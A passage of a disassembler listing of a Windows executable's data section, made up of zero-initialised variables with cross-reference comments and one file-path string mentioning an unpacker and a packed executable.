sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBDFC dd 2460B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE04 dd 2460B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 2461140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o ; ___:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 2460650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA XREF: 